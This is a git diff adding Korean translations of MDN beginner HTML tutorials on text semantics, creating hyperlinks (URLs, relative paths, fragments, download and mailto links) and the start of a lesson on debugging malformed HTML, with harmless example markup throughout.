다른 실습 과제를 할 시간입니다! 이번 예제에서는 아래 항목을 수행하고자 합니다.

+ +
    +
  1. 중간에 위치한 문단을 cite 속성을 지닌 블럭 인용구로 변경하십시오.
  2. +
  3. 세 번째 문단의 일부를 cite 속성을 지닌 인라인 인용구로 변경하십시오.
  4. +
  5. 각 링크에 <cite> 요소를 포함시키십시오.
  6. +
+ +

적절한 출처를 찾기 위해서 온라인 검색을 이용하십시오.

+ +

실수를 하셨을 경우에는, Reset 버튼을 통해서 재시작하실 수 있습니다. 해답을 찾지 못하셨을 경우에 Show solution 버튼을 통해서 해답을 보실 수 있습니다.

+ + + +

{{ EmbedLiveSample('Playable_code_2', 700, 500) }}

+ +

약어

+ +

웹을 둘러 볼 때 <abbr> 요소를 꽤 많이 볼 수 있습니다. 이는 머리 글자 또는 약어를 나타내는데 사용됩니다. title 속성을 통해 원래의 용어를 나태날 수 있습니다. 몇가지 예제를 살펴 보겠습니다.

+ +
<p>We use <abbr title="Hypertext Markup Language">HTML</abbr> to structure our web documents.</p>
+
+<p>I think <abbr title="Reverend">Rev.</abbr> Green did it in the kitchen with the chainsaw.</p>
+ +

위의 코드는 아래와 같이 보입니다. 용어의 전체 뜻은 마우스를 올려 놓으면 툴팁에 표시됩니다.

+ +

We use HTML to structure our web documents.

+ +

I think Rev. Green did it in the kitchen with the chainsaw.

+ +
+

Note: 약어를 나타내기 위해 <abbr> 과 동일하게 사용할 수 있는 <acronym> 가 존재합니다. 이는 사용중지 되었으며 브라우저에서도 호환되지 않는 경우가 있습니다. 따라서 <abbr> 을 대신 사용하는 것을 추천드립니다.

+
+ +

추가학습: 약어 만들기

+ +

아래의 간단한 실습 과제를 통해 약어 사용에 대한 학습을 하고자 합니다. 아래의 샘플을 그대로 사용하시거나 여러분의 샘플로 교체 하실 수 있습니다. 

+ + + +

{{ EmbedLiveSample('Playable_code_3', 700, 350) }}

+ +

연락처 세부 사항 표시

+ +

HTML 에서 <address> 태그를 이용해서 연락처 세부 정보를 표시할 수 있습니다. 이것은 단순히 연락처 정보를 표시하는 것입니다.

+ +
<address>
+  <p>Chris Mills, Manchester, The Grim North, UK</p>
+</address>
+ +

그러나 기억해야 할 것은 <address> 요소는 HTML 문서를 작성한 사람의 연락처 정보를 표시하기 위해서 사용되어야 한다는 것입니다. 따라서 Chris 가 마크 업이 표시된 문서를 작성한 경우에만 위의 예제가 정상입니다. 아래와 같은 예제도 괜찮습니다.

+ +
<address>
+  <p>Page written by <a href="../authors/chris-mills/">Chris Mills</a>.</p>
+</address>
+ +

위첨자와 아래 첨자

+ +

여러분은 종종 날짜, 화학 공식 및 수학 방적식과 같은 항목을 표시 할 때 올바른 의미를 갖도록 위첨자 아래 첨자를 사용해야 할 수도 있습니다. <sup><sub> 요소들은 이를 위해 사용할 수 있습니다.

+ +
<p>My birthday is on the 25<sup>th</sup> of May 2001.</p>
+<p>Caffeine's chemical formula is C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p>
+<p>If x<sup>2</sup> is 9, x must equal 3 or -3.</p>
+ +

표시될 결과는 아래와 같습니다.

+ +

My birthday is on the 25th of May 2001.

+ +

Caffeine's chemical formula is C8H10N4O2.

+ +

If x2 is 9, x must equal 3 or -3.

+ +

컴퓨터 코드를 나타내기

+ +

HTML 을 이용해 컴퓨터 코드를 나타낼 때 아래와 같은 많은 요소들을 사용할 수 있습니다.

+ + + +

몇 가지 예를 살펴 보겠습니다. 이 예제들을 통해서 자유롭게 학습해보십시오. (다른 other-semantics.html 샘플 파일의 사본을 사용하실 수 있습니다).

+ +
<pre><code>var para = document.querySelector('p');
+
+para.onclick = function() {
+  alert('Owww, stop poking me!');
+}</code></pre>
+
+<p>You shouldn't use presentational elements like <code>&lt;font&gt;</code> and <code>&lt;center&gt;</code>.</p>
+
+<p>In the above JavaScript example, <var>para</var> represents a paragraph element.</p>
+
+
+<p>Select all the text with <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd>.</p>
+
+<pre>$ <kbd>ping mozilla.org</kbd>
+<samp>PING mozilla.org (63.245.215.20): 56 data bytes
+64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms</samp></pre>
+ +

위의 코드는 아래와 같이 표시됩니다.

+ +

{{ EmbedLiveSample('Representing_computer_code','100%',300, "", "", "hide-codepen-jsfiddle") }}

+ +

시간과 날짜 표시

+ +

HTML 은 기계가 읽을 수 있는 형식(machine-readable)으로 시간과 날짜를 표시하기 위한 <time> 요소를 제공합니다. 예를 들면 아래와 같습니다.

+ +
<time datetime="2016-01-20">20 January 2016</time>
+ +

이것이 왜 유용할까요? 인간이 날짜를 기록하는 방법에는 여러 가지가 있습니다. 위 날짜는 아래와 같이 나타낼 수 있습니다.

+ + + +

그러나 이러한 다른 형식들은 컴퓨터가 쉽게 인식할 수 없습니다. 페이지의 모든 이벤트 날짜를 자동으로 인식하여 캘린더에 삽입하려면 어떻게 해야합니까? <time> 요소를 사용하면 기계가 읽을 수 있는 명확한 시간 / 날짜를 첨부 할 수 있습니다.

+ +

아래의 기본 예지는 간단한 기계 판독 가능 날짜를 제공하지만 사용 가능한 다른 많은 옵션들이 존재합니다.

+ +
<!-- Standard simple date -->
+<time datetime="2016-01-20">20 January 2016</time>
+<!-- Just year and month -->
+<time datetime="2016-01">January 2016</time>
+<!-- Just month and day -->
+<time datetime="01-20">20 January</time>
+<!-- Just time, hours and minutes -->
+<time datetime="19:30">19:30</time>
+<!-- You can do seconds and milliseconds too! -->
+<time datetime="19:30:01.856">19:30:01.856</time>
+<!-- Date and time -->
+<time datetime="2016-01-20T19:30">7.30pm, 20 January 2016</time>
+<!-- Date and time with timezone offset-->
+<time datetime="2016-01-20T19:30+01:00">7.30pm, 20 January 2016 is 8.30pm in France</time>
+<!-- Calling out a specific week number-->
+<time datetime="2016-W04">The fourth week of 2016</time>
+ +

요약

+ +

HTML 텍스트 시맨틱에 대한 스터디가 끝났습니다. 이 과정에서 학습한 내용이 HTML 텍스트 요소의 전부가 아님을 명심하십시오. 우리는 필수 요소를 위주로 다루고 싶었고, 여러분이 일반적인 상황에서 보거나 적어도 흥미롭게 다가올 수 있는 더 일반적인 것들 중 일부를 다루려고 했습니다. 더 많은 HTML 요소를 찾으려면 HTML element reference 를 살펴보십시오.(Inline text semantics 섹션은 시작하기에 좋은 장소입니다.). 다음 문서에서는 HTML 문서의 다른 부분을 구성하는 데 사용할 HTML 요소를 살펴 보겠습니다.

+ +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}

+ +

In this module

+ + diff --git a/files/ko/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/ko/learn/html/introduction_to_html/creating_hyperlinks/index.html new file mode 100644 index 0000000000..73619df1cf --- /dev/null +++ b/files/ko/learn/html/introduction_to_html/creating_hyperlinks/index.html @@ -0,0 +1,338 @@ +--- +title: 하이퍼링크 만들기 +slug: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +tags: + - a태그 + - 웹하이퍼링크 + - 하이퍼링크 +translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}
+ +

하이퍼 링크는 중요하다. — 웹을 웹답게 만들기 때문이다. 이 글에서는 링크를 만드는데 필요한 구문을 보여주고 링크의 모범 사례를 설명한다.

+ + + + + + + + + + + + +
미리 알아두면 좋은 지식들:기본적인 HTML 에 대한 친숙함, as covered in Getting started with HTML. HTML text formatting, as covered in HTML text fundamentals.
목표: +

하이퍼링크를 효과적으로 다루는 방법과 수많은 파일들을 함께 연결하는 방법을 배웁니다.

+
+ +

하이퍼링크란 무엇인가?

+ +

하이퍼링크는 웹이 제공하는 가장 흥미로운 혁신 중 하나입니다, 하이퍼링크는 웹이 시작된 이래 웹의 특성이었습니다. 그러나 하이퍼링크는 웹을 웹 다워보이도록 만들어줍니다. — 문서들을 다른 문서들과 연결시켜 주기도 하구요. 또는 우리가 원하는 다른 resource 들과 연결해주기도 합니다. 우리는 또한 문서들의 특정 부분들끼리 연결할 수 있죠.그리고 우리는 앱들을 단순한 웹 주소를 통해 이용하게 만들 수도 있습니다. (설치 혹은 여러가지 작업들을 필요로 하는 native 앱과 비교해보세요.) 거의 모든 web content 들은 링크로 바뀔 수 있는데요. 우리가 그것들을 클릭하거나 활성화시키면 웹 브라우저가 다른 웹 주소({{glossary("URL")}})로 갑니다. 

+ +
+

메모:  URL은 HTML 파일, 텍스트 파일, 이미지, 텍스트 문서들, 비디오와 오디오 파일들, 그리고 웹상에서 존재할 수 있는 어느 것이라 할지라도 연결할 수 있다.만약 웹 브라우저가 어떻게 파일을 보여주거나 다룰지 모른다면, 웹 브라우저는 당신이 파일을 열기를 원하는지 (만약 그렇다면, 파일을 열거나 처리하는 것에 대한 의무는 device에서 적절한 native 앱에게 넘겨질 겁니다.) 혹은 파일을 다운로드 하기를 원하는지 (만약 그렇다면, 당신은 그것을 나중에 다룰 수 있습니다.) 궁금해 할 것입니다.

+
+ +

예를 들면, BBC 홈페이지엔 많은 링크들이 있는데요. 그것들은 수많은 뉴스들 뿐만 아니라 다른 웹사이트들 (navigation functionality), 로그인/등록 페이지들 (user tools) 그리고 더 많은 다른 곳에도 연결되어 있습니다.

+ +

frontpage of bbc.co.uk, showing many news items, and navigation menu functionality

+ +

링크의 구조

+ +

A basic link is created by wrapping the text (or other content, see {{anch("Block level links")}}) you want to turn into a link inside an {{htmlelement("a")}} element, and giving it an {{htmlattrxref("href", "a")}} 속성은 (also known as a target) 사이트의 주소가 포함된 링크를 당신에게 줍니다.

+ +
<p>I'm creating a link to
+<a href="https://www.mozilla.org/en-US/">the Mozilla homepage</a>.
+</p>
+ +

위 코드의 결과는 다음과 같습니다:

+ +

나는 링크를 만들었다. the Mozilla homepage

+ +

title 속성에 부가적인 정보를 더하기

+ +

title;  속성은 해당 페이지에 어떤 종류의 정보가 포함되어 있는지 또는 알아야할 사항과 같은 링크에 대한 보충할만한 유용한 정보를 포함하기 위한 것을 나타낼때 사용한다.

+ +

예제 코드 :

+ +
<p>I'm creating a link to
+<a href="https://www.mozilla.org/en-US/"
+   title="The best place to find more information about Mozilla's
+          mission and how to contribute">the Mozilla homepage</a>.
+</p>
+ +

이것은 그리고 마우스를 오버했을때에 툴팁에 대한 기능도 제공해줄 수 있다.

+ +

제가 만든 링크 입니다. the Mozilla homepage.

+ +
+

Note: 링크 제목은 마우스 호버시에만 공개 된다.  이것은 웹 페이지를 탐색하기 위해 키보드에만 의존하는 사람들이 타이틀 정보에 접근하는데 어려움을 겪게 된다는 것을 의미한다. 만약 title의 정보가 페이지 사용에 있어서 정말로 중요하다면,  해당하는 정보를 일반 텍스트에 넣어줌으로써 모든 사용자가 접근할 수 있는 방식으로 제시해주어야한다.

+
+ +

능동학습: 링크를 만들어봅시다.

+ +

적극적으로 학습해 봅시다: local code 편집기를 사용해서 하나의 HTML document 를 만드세요. (소스코드: 템플릿 시작하기가 잘 될거에요.)

+ + + +

Block level 링크들

+ +

이전에 얘기했듯이, 여러분은 어떤 내용이든 link로 바꿀 수 있습니다. block level 요소들 이라고 할지라도요. 만약 링크로 바꾸고 싶은 이미지가 있다면, <a> 와 </a> 사이에 그 이미지를 넣으시기만 하시면 됩니다.

+ +
<a href="https://www.mozilla.org/en-US/">
+  <img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage">
+</a>
+ +
+

메모: 나중에 보실 글에선 웹에서 이미지를 사용하는 것에 대해 더 많이 배우실 겁니다.

+
+ +

URL 과 path 에 대한 기본 지침

+ +

 link target 에 대해 완전히 이해하기 위해서, URL 과 파일 path에 대하여 이해하실 필요가 있습니다. 이번 시간에는 여러분께서 성취하실 필요가 있는 정보에 대해서 알려드릴게요.

+ +

URL, 혹은 Uniform Resource Locator 은 단순히 무언가가 웹상의 어디에 위치하는지 결정하는 하나의 텍스트 문자열이랍니다. 예를 들면, Mozilla's 영어 홈페이지는https://www.mozilla.org/en-US/이죠.

+ +

URL은 파일들을 찾기위해 path를 이용합니다. path는 당신이 관심있어 하는 파일이 파일 시스템 어디에 있는지 구체적으로 명시하구요. 디렉토리 구조에 대한 예제를 보시죠. (see the creating-hyperlinks directory.)

+ +

A simple directory structure. The parent directory is called creating-hyperlinks and contains two files called index.html and contacts.html, and two directories called projects and pdfs, which contain an index.html and a project-brief.pdf file, respectively

+ +

이 디렉토리 구조의 root는 creating-hyperlinks. 웹사이트를 로컬 단에서 다룰 때에는 전체 웹사이트가 모두 들어갈 수 있는 하나의 디렉토리를 가져야 할 것입니다. Root 안에서 우리는 index.html 파일과 contacts.html 파일을 갖습니다. 진짜 웹사이트 안에서 index.html 는 우리의 홈 페이지 또는 랜딩 페이지(웹사이트의 접속 포인트 또는 웹사이트의 특정 부분 이 되는 페이지)가 될 것입니다.  

+ +

또 Root 안에는 두 개의 디렉토리가 있습니다 — pdfs 와 projects. 이들은 각각 하나의 파일을 내부에 가지고 있습니다 — 각각 PDF (project-brief.pdf) 와 index.html 파일입니다.  당신은 두 개의 index.html 파일들을 각각 파일 시스템의 다른 위치에 있도록 해서 하나의 프로젝트 안에 가질 수 있습니다. 많은 웹 사이트들이 이렇게 하고 있습니다. 두번째 index.html는 아마 프로젝트와 관련된 정보의 메인 랜딩 페이지가 될 것입니다.

+ + + +
<p>Want to contact a specific staff member?
+Find details on our <a href="contacts.html">contacts page</a>.</p>
+ + + +
<p>Visit my <a href="projects/index.html">project homepage</a>.</p>
+ + + +
<p>A link to my <a href="../pdfs/project-brief.pdf">project brief</a>.</p>
+ +
+

Note: 필요한 경우 아래와 같이 이러한 기능의 여러 인스턴스를 복잡한 URL로 결합할 수 있다  ../../../complex/path/to/my/file.html.

+
+ +

Document fragments(문서 조각)

+ +

문서 상단이 아닌 HTML 문서 내부의 특정 부분(Document fragments(문서 조각)에 링크 할 수 있다. 그것을 하기 위해서 먼저 당신은 링크를 시키고 싶은 태그에 {{htmlattrxref("id")}} 속성을 넣어 주어야한다. 일반적으로는 특정 헤드라인에 연결하는 것이 타당하다.

+ +

예제:

+ +
<h2 id="Mailing_address">Mailing address</h2>
+ +

만약 특정 ID에 연결하려면 URL 끝에 해시/파운드 기호를 포함하면 된다,

+ +

예제:

+ +
<p>Want to write us a letter? Use our <a href="contacts.html#Mailing_address">mailing address</a>.</p>
+ +

Document fragments(문서 조각)를 단독으로 사용하여 동일한 문서의 다른 부분에 연결할 수 있다

+ +
<p>The <a href="#Mailing_address">company mailing address</a> can be found at the bottom of this page.</p>
+ +

절대 URL과 상대 URL

+ +

웹에서는 절대 URL과 상대 URL 두 가지의 용어를 찾아볼 수 있습니다.

+ +

절대 URL: 웹에서 정의된 상대적인 위치를 가리킵니다. {{glossary("protocol")}} and {{glossary("domain name")}} 포함. 예를 들어, 만약 index.html 페이지가 projects 폴더에 업로드 되면 이는 웹 서버의 root 안에 위치하게 되고 
+ 웹 사이트 도메인은 http://www.example.com,
+ 그 페이지는  http://www.example.com/projects/index.html
+ (혹은 그저 http://www.example.com/projects/, 대부분의 웹 서버는 URL에서 명시되지 않은 경우 페이지를 불러오기 위해 index.html 과 같은 랜딩 페이지를 찾습니다.)

+ +

절대 URL은 어디에 사용되든 항상 같은 장소를 가리킵니다.

+ +

상대 URL: 당신이 link하고 있는 파일(과거 섹션의 파일 같은)로부터 상대적인 위치를 가리킵니다. 예를 들어, 우리가 예시 파일 http://www.example.com/projects/index.html 에서 같은 디렉토리에 있는 PDF 파일로 link하고 싶다면, URL은 project-brief.pdf 과 같이 파일이름이어야 할 것입니다— 추가 정보는 필요 없습니다. 만약 PDF 파일이 projects 하위 디렉토리인 pdfs에 있다면, 상대 URL은 pdfs/project-brief.pdf 일 것입니다. (같은 URL로 http://www.example.com/projects/pdfs/project-brief.pdf.)

+ +

상대 URL은 파일의 실제 위치가 어디냐에 따라 다른 장소를 가리킬 것입니다. — 예를 들어 우리가 index.html 파일을 projects 디렉토리에서 웹사이트의 root로 옮긴다면 (최상위, 어느 디렉토리에도 포함되지 않음), pdfs/project-brief.pdf 의 상대 URL은 http://www.example.com/pdfs/project-brief.pdf를 가리킬 것입니다. 
+ http://www.example.com/projects/pdfs/project-brief.pdf를 가리키지 않습니다.

+ +

물론, 당신이 index.html 파일을 옮겼다고 해서 project-brief.pdf 파일과 pdfs 폴더의 위치가 갑자기 바뀌지는 않을 것입니다- 이것은 당신의 링크가 잘못된 곳을 가리키게 할 것이므로 클릭을 해도 제대로 작동하지 않을 것입니다. 주의하세요!

+ + + +

링크 작성시 지켜야할 몇가지 모범 사례에 대해 살펴보자

+ + + +

링크 명을 명확하게

+ +

당신의 페이지에 링크를 올리는 것은 쉽다. 그것으로는 충분하지 않다. 우리는 모든 독자들에게 현재 상황과 그들이 선호하는 도구에 상관없이 접근성 높은 우리의 링크를 만들 필요가 있다.

+ +

예를 들면:

+ + + +

구체적인 예제를 한번 살펴보자:

+ +

 link test: Download Firefox

+ +
<p><a href="https://firefox.com/">
+  Download Firefox
+</a></p>
+ +

Bad link text: Click here to download Firefox

+ +
<p><a href="https://firefox.com/">
+  Click here
+</a>
+to download Firefox</p>
+
+ +

Other tips:

+ + + +

가능하면 상대 링크 사용하기

+ +

위의 설명에서, 당신은 절대 링크를 항상 사용하는 것이 좋은 생각이라고 생각할 수 있다; 결국, 그것들은 페이지가 상대적인 링크처럼 움직였을 때 깨지지 않는다. 그러나 동일한 웹 사이트 내의 다른 위치에 연결할 때 가능한 한 상대 링크를 사용해야 한다(다른 웹 사이트에 연결할 때는 절대 링크를 사용해야 한다).

+ + + +

 비 HTML 리소스 연결 시 - 명확한 표식 남기기

+ +

PDF나 워드 문서와 같이 다운로드되거나 스트리밍되거나(비디오나 오디오와 같은) 다른 예상하지 못한 효과(팝업 창을 열거나 플래시 동영상을 로드)에 연결할 때는 명확한 표현을 추가하여 혼란을 줄 수 있어야 한다. 그것은 꽤 성가실 수 있다.

+ +

예를 들어:

+ + + +

여기서 사용할 수 있는 텍스트의 종류를 보려면 몇 가지 예를 살펴보십시오.:

+ +
<p><a href="http://www.example.com/large-report.pdf">
+  Download the sales report (PDF, 10MB)
+</a></p>
+
+<p><a href="http://www.example.com/video-stream/">
+  Watch the video (stream opens in separate tab, HD quality)
+</a></p>
+
+<p><a href="http://www.example.com/car-game">
+  Play the car game (requires Flash)
+</a></p>
+ +

다운로드 연결 시 download attribute 사용

+ +

브라우저에서 열지 않고 다운로드할 리소스에 연결하는 경우 다운로드 속성을 사용하여 기본 저장 파일 이름을 제공할 수 있다.

+ +

Firefox 39의 Windows 버전에 대한 다운로드 링크가 있는 예:

+ +
<a href="https://download.mozilla.org/?product=firefox-39.0-SSL&os=win&lang=en-US"
+   download="firefox-39-installer.exe">
+  Download Firefox 39 for Windows
+</a>
+ +

활동적인 학습: 탐색 메뉴 만들기

+ +

이 연습에서는 일부 페이지를 탐색 메뉴와 함께 연결하여 다중 페이지 웹 사이트를 생성하십시오. 이것은 웹사이트가 만들어지는 하나의 일반적인 방식이다. — 동일한 탐색 메뉴를 포함한 모든 페이지에 동일한 페이지 구조가 사용되기 때문에 링크를 클릭할 때 같은 장소에 머물고 있다는 인상을 주며, 다른 내용이 제기되고 있다.

+ +

다음 4개의 페이지의 로컬 복사본을 서로 동일한 디렉토리에 만들어야 한다 (전체 목록을 보려면 navigation-menu-start 디렉토리를 참조):

+ + + +

당신이 해야할 것:

+ +
    +
  1. 연결할 페이지의 이름이 포함된 순서 없는 목록을 한 페이지의 지정된 위치에 추가하십시오. 네비게이션 메뉴는 보통 링크의 목록일 뿐이므로 의미적으로 OK이다.
  2. +
  3. 각 페이지 이름을 해당 페이지 링크로 변경하십시오.
  4. +
  5. Navigation 메뉴를 각 페이지에 복사하십시오.
  6. +
  7. 각 페이지에서 동일한 페이지에 대한 링크만 제거하십시오. — 페이지에 대한 링크가 포함된다는 것은 혼란스럽고 의미가 없으며, 링크가 부족하면 현재 어떤 페이지에 있는지 시각적으로 잘 알 수 있다.
  8. +
+ +

완성된 예는 다음과 같다:

+ +

An example of a simple HTML navigation menu, with home, pictures, projects, and social menu items

+ +
+

Note: 만약 당신이 막히거나, 당신이 그것을 제대로 가지고 있는지 확신할 수 없다면, 당신은 정확한 답을 보기 위해 navigation-menu-marked-up 디렉토리를 확인할 수 있다.

+
+ +

이메일 링크

+ +

클릭했을 때 리소스나 페이지에 연결하지 않고 새 발신 전자 메일 메시지를 여는 링크나 단추를 만들 수 있다.

+ +

이것은 {{HTMLElement("a")}} 태그안에 mailto: URL 스키마를 사용하여 구현할 수 있다.

+ +

가장 기본적이고 일반적으로 사용되는 형태의 mailto: 링크는 단순히 대상 수신인의 이메일 주소를 표시한다.

+ +

예를 들면:

+ +
<a href="mailto:nowhere@mozilla.org">Send email to nowhere</a>
+
+ +

이렇게 되면 다음과 같은 링크가 생성된다:  Send email to nowhere.

+ +

사실, 이메일 주소는 심지어 선택사항이다. 그것을 생략하면(즉, 당신의 {{htmlattrxref("href", "a")}} 아직 목적지 주소가 지정되지 않은 사용자의 메일 클라이언트에 의해 새로운 발신 이메일 창이 열린다. 이것은 종종 사용자가 선택한 주소로 이메일을 보내기 위해 클릭할 수 있는 "공유" 링크로서 유용하다.

+ +

세부 사항 지정하기

+ +

이메일 주소 외에도 다른 정보를 제공할 수 있다. 실제로 표준 메일 헤더 필드는 사용자가 제공하는 mailto URL에 추가할 수 있다. 이것들 중 가장 일반적으로 사용되는 것은 "subject", "cc", and "body"(참된 헤더 필드는 아니지만 새 이메일에 대한 짧은 내용 메시지를 지정할 수 있음)이다. 각 필드와 그 값은 조회 용어로 지정된다.

+ +

아래 예제가 cc, bcc, subject and body 를 포함한다.:

+ +
<a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&amp;subject=The%20subject%20of%20the%20email &amp;body=The%20body%20of%20the%20email">
+  Send mail with cc, bcc, subject and body
+</a>
+ +
+

Note: 각 필드의 값은 URL로 인코딩되어야 한다(즉, 출력되지 않은 문자 및 percent-escaped). 또한 mailto: URL의 각 필드를 구분하는 & 의 사용에 유의하십시오. 이것은 표준 URL 쿼리 표기법입니다.

+
+ +

여기 다른 몇 가지 mailto URL 샘플들이 있다:

+ + + +

요약

+ +

이제 링크는 여기까지입니다, 어쨌든! 나중에 스타일링을 시작하면 링크로 돌아간다. 다음 HTML에서는 텍스트 의미론(Text Semantics)으로 돌아가서 유용하게 사용할 수 있는 고급/비정상적인 기능을 살펴보도록 하겠다. — 다음 목적지는 고급 텍스트 서식에 대해 알아볼 것이다.

+ +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}

diff --git a/files/ko/learn/html/introduction_to_html/debugging_html/index.html b/files/ko/learn/html/introduction_to_html/debugging_html/index.html new file mode 100644 index 0000000000..6b359dce5c --- /dev/null +++ b/files/ko/learn/html/introduction_to_html/debugging_html/index.html @@ -0,0 +1,179 @@ +--- +title: HTML 디버깅 +slug: Learn/HTML/Introduction_to_HTML/Debugging_HTML +translation_of: Learn/HTML/Introduction_to_HTML/Debugging_HTML +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}
+ +

HTML을 작성을 할 수 있지만, 문제가 생겼을 때  코드의 오류가 발생한 부분을 해결할 수 없나요? 이 기사에서는 HTML의 오류를 찾고 수정하는 데 도움이되는 몇 가지 도구를 소개합니다.

+ + + + + + + + + + + + +
선행사항:HTML이 익숙해야 합니다. 다음문서를 이해하는 정도면 충분합니다. HTML로 시작하기, HTML 텍스트 기본사항, and 하이파링크 만들기.
목표:HTMl에서 문제를 찾기위해 디버깅 툴을 사용하는 기본적인 방법을 배웁니다.
+ +

디버깅은 무섭지 않아요.

+ +

여러분이 원하든 원하지않든 무언가 잘못되면 코드가 동작하지 않거나 검파일 애러가 나는 무시무시한 순간이 다가옵니다. 다음과 같이 말이죠

+ +

아래는 Rust 언어로 작성된 간단한 프로그램을 {{glossary ( "compile")}}할 때 발생한 오류를 보여줍니다.

+ +

A console window showing the result of trying to compile a rust program with a missing quote around a string in a print statement. The error message reported is error: unterminated double quote string.

+ +

여기나온 오류 메시지는 상대적으로 이해하기 쉽습니다. "끝나지 않은 큰 따옴표 문자열". 애러 내용을 보면 코드 2번째 줄의 println! (Hello, world! ");에 큰 따옴표가 누락 된 것을 금방 볼 수 있습니다. 하지만 프로그램이 커질수록 오류 메시지는 점점더 복잡해지고 해석하기가 쉽지 않아집니다. 단순한 경우라 할지라도 Rust에 대해 전혀 모르는 사람에게 약간 무섭게 보일 수 있습니다.(보통은 점점 무서워지죠..)

+ +

그래도 디버깅을 무서워하지 않으셔도 됩니다! 프로그래밍 언어나 코드를 작성하고 디버깅하는 데 있어 중요한 것은 언어와 도구에 익숙해지는 것입니다. (익숙해져야 합니다!)

+ +

HTML과 디버깅

+ +

HTML은 Rust만큼 복잡하지 않습니다. HTML은 브라우저가 구문 분석하기 전에 다른 형식으로 컴파일되지 않으며 결과를 표시합니다 (해석되지 않고 컴파일되지 않음). 그리고 HTML의 {{glossary ( "element")}} 구문은 Rust, {{glossary ( "JavaScript")}} 또는 {{glossary ( "Python")}}과 같은 "실제 프로그래밍 언어"보다 이해하기 쉽습니다. 브라우저가 HTML을 구문 분석하는 방식은 프로그래밍 언어가 실행되는 방식보다 훨씬 유연(permissive)합니다. 이는 좋은 점이기도 하지만 나쁜 점이기도 합니다.

+ +

허용 코드

+ +

그렇다면 유연함(permissive)이란 무엇일까요? 음, 일반적으로 코드에서 뭔가 잘못했을 때, 두 가지 주요 유형의 오류가 발생합니다.

+ + + +

브라우저 자체에서 구문 분석을하기 때문에 HTML 자체는 문법 오류가 발생하지 않으므로 문법 오류가 있어도 페이지가 계속 표시됩니다. 브라우저에는 잘못 작성된 마크 업을 해석하는 방법을 설명하는 규칙이 내장되어 있으므로 여러분이 생각한대로 결과가 나오지 않더라도 HTML페이지가 표시됩니다. 물론 문제가 될 수 있습니다!

+ +
+

Note: 웹이 처음 만들어지면 사람들이 자신의 콘텐트를 게시 할 수 있도록 허용하는 것이 문법이 정확한지 확인하는 것보다 중요하기 때문에 HTML은 허용 된 방식으로 구문 분석됩니다. 처음부터 웹 사이트가 문법오류에 엄격했다면 웹은 오늘날처럼 인기가 있지 않았을 것입니다.

+
+ +

자발적 학습 : Permissive한 코드를 배웁니다.

+ +

유연한 성질의 HTML 코드를 배울 시간입니다.

+ +
    +
  1. 첫째로,  우리의 debug-example demo를 다운로드하고 Local에 저장하세요. This demo is deliberately written to have some errors in it for us to explore (the HTML markup is said to be badly-formed, as opposed to well-formed).
  2. +
  3. Next, open it in a browser. You will see something like this:A simple HTML document with a title of HTML debugging examples, and some information about common HTML errors, such as unclosed elements, badly nested elements, and unclosed attributes.
  4. +
  5. This immediately doesn't look great; let's look at the source code to see if we can work out why (only the body contents are shown): +
    <h1>HTML debugging examples</h1>
    +
    +<p>What causes errors in HTML?
    +
    +<ul>
    +  <li>Unclosed elements: If an element is <strong>not closed properly,
    +      then its effect can spread to areas you didn't intend
    +
    +  <li>Badly nested elements: Nesting elements properly is also very important
    +      for code behaving correctly. <strong>strong <em>strong emphasised?</strong>
    +      what is this?</em>
    +
    +  <li>Unclosed attributes: Another common source of HTML problems. Let's
    +      look at an example: <a href="https://www.mozilla.org/>link to Mozilla
    +      homepage</a>
    +</ul>
    +
  6. +
  7. Let's review the problems: +
      +
    • The {{htmlelement("p","paragraph")}} and {{htmlelement("li","list item")}} elements have no closing tags. Looking at the image above, this doesn't seem to have affected the markup rendering too badly, as it is easy to infer where one element should end and another should begin.
    • +
    • The first {{htmlelement("strong")}} element has no closing tag. This is a bit more problematic, as it isn't easy to tell where the element is supposed to end. In fact, the whole of the rest of the text has been strongly emphasised.
    • +
    • This section is badly nested: <strong>strong <em>strong emphasised?</strong> what is this?</em>. It is not easy to tell how this has been interpreted because of the previous problem.
    • +
    • The {{htmlattrxref("href","a")}} attribute value has a missing closing double quote. This seems to have caused the biggest problem — the link has not rendered at all.
    • +
    +
  8. +
  9. Now let's look at the markup the browser has rendered, as opposed to the markup in the source code. To do this, we can use the browser developer tools. If you are not familiar with how to use your browser's developer tools, take a few minutes to review Discover browser developer tools.
  10. +
  11. In the DOM inspector, you can see what the rendered markup looks like: The HTML inspector in Firefox, with our example's paragraph highlighted, showing the text "What causes errors in HTML?" Here you can see that the paragraph element has been closed by the browser.
  12. +
  13. Using the DOM inspector, let's explore our code in detail to see how the browser has tried to fix our HTML errors (we did the review in Firefox; other modern browsers should give the same result): +
      +
    • The paragraphs and list items have been given closing tags.
    • +
    • It isn't clear where the first <strong> element should be closed, so the browser has wrapped each separate block of text with its own strong tag, right down to the bottom of the document!
    • +
    • The  incorrect nesting has been fixed by the browser like this: +
      <strong>strong
      +  <em>strong emphasised?</em>
      +</strong>
      +<em> what is this?</em>
      +
    • +
    • The link with the missing double quote has been deleted altogether. The last list item looks like this: +
      <li>
      +  <strong>Unclosed attributes: Another common source of HTML problems.
      +  Let's look at an example: </strong>
      +</li>
      +
    • +
    +
  14. +
+ +

HTML validation

+ +

